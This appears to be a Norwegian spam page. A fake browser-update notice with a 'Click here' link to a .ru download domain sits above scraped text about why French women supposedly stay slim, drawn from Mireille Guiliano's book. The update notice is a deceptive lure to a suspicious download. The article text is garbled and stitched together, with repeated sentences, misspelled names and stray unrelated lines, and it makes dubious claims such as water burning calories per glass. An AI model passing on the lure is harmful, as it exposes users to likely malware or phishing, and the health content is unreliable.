Nettleseren din bør oppdateres

Click here: => echtmenbose.fastdownloadcloud.ru/dt?s=YToyOntzOjc6InJlZmVyZXIiO3M6MzA6Imh0dHA6Ly9iYW5kY2FtcC5jb21fZHRfcG9zdGVyLyI7czozOiJrZXkiO3M6MjI6IkZyYW5za2Uga3Zpbm5lciBzbGFua2UiO30=


Basert på din tidligere aktivitet hos oss, vil du få annonser vi tror kan interessere deg. Dette i stedet for å spise med skyldfølelse. De bare nøt hver dag av sine camembertjes og rødvin, og de holdt seg tynn.

Jeg tror det er problemet for noen: at de spiser kjapt, uten å føle at det er et måltid, og dermed kommer lysten på noe snart tilbake. Sånn sett lufter de både kroppen og sinnet. Mens Europa har blitt tykkere og tykkere, den franske fortsatte i de siste tiårene de samme slanke svelte personer.

Derfor er franske kvinner slanke

Basert på din tidligere aktivitet hos oss, vil du få annonser vi tror kan interessere deg. Du velger selv om du ønsker å endre dine innstillinger Om Aller Media og annonsering Aller Media eier nettstedene Dagbladet, Sol, DinSide, KK, Se og Hør, Lommelegen, Topp og Vi Franske kvinner spiser brød og pasta, drikker vin og nyter tre retters måltider jevnlig, uten å bli fete, ifølge Mireille Guiliano som har skrevet boken French Women Don't Get Fat: The Secret of Eating for Pleasure. Nettstedet WebMDs ernæringsekspert Kathleen Zelman har intervjuet ham, og nedenfor følger et sammendrag i form av noen konkrete tips. Her kan du også lese et fra forfatteren. Bruk sansene Franske kvinner spiser med hodet og har lært å lure seg selv, ifølge Guiliano. De nyter maten og bruker alle sansene sine. De sitter også ned når de spiser, uansett, noe som gjør at de i mindre grad ender opp med å overspise. Dette i stedet for å spise med skyldfølelse. Dersom man hele tiden går på diett og ser på mat som et nødvendig onde blir man bare stresset. Og de velger naturlige varianter uten masse kunstige tilsetningsstoffer og sukker. Etter en dag med forrett, hovedrett og dessert, start gjerne neste morgen med en yoghurt i stedet for to croissanter. Nesten ingen kalorier og alt du trenger for å få kroppen i gang både proteiner, karbohydrater og litt fett og i balanse etter gårsdagens store middag. Hver gang man drikker et glass vann setter man i gang forbrenningen og mister 20-50 kalorier. Mye og hyppig påfyll av vann gjør også at man unngår å forveksle tørst med sult. Og vin er helt greit, bare drikk med måte. Masse antioksidanter i rødvin for eksempel — og champagne og annet sprudlevann fungerer bra som «kos», ifølge Guiliani. I stedet går de for ekte råvarer. Les innholdsdeklarasjonen og du vil se at mange av disse produktene er verre enn ekte vare. Lettmajones og lettrømme har for eksempel et høyt fettinnhold, mens naturlig magre matvarer som kokt skinke og torsk ikke kan få merkelappen «lett». Det er også verdt å huske på at lightvariantene fort kan være en unnskyldning for spise mer. I stedet går de masse og holder seg i aktivitet gjennom dagen, hevder Guiliano. Sånn sett lufter de både kroppen og sinnet. De skyr med andre ord stillesittingen og integrerer treningen i hvedagen i stedet. Særlig på dager man vet at man vil sitte mye stille er det lurt å legge inn gåturer, tipser Guiliani. De ser det på kroppen, det vil si klærne, om de har lagt på seg fordi de generelt går med trangere klær. Trange klær er altså et triks, ifølge Guilano, så man hele tiden er litt på tærne. Alle de elastiske klærne er bare farlige fordi man ikke merker det når klærne strammer litt.

Det er verdt å merke seg at det er nettopp dette fokuset på nytelse kombinert med andre gunstige faktorer i det franske spisemønsteret, som til sammen gir helseeffekten. Hun er lege og kostholdsekspert med praksis i fasjonable 7. Claude Fischler var nylig med på å utføre en undersøkelse i seks land. Det er kjempegodt med amandes, mandler! Deriblant Frankrike og USA.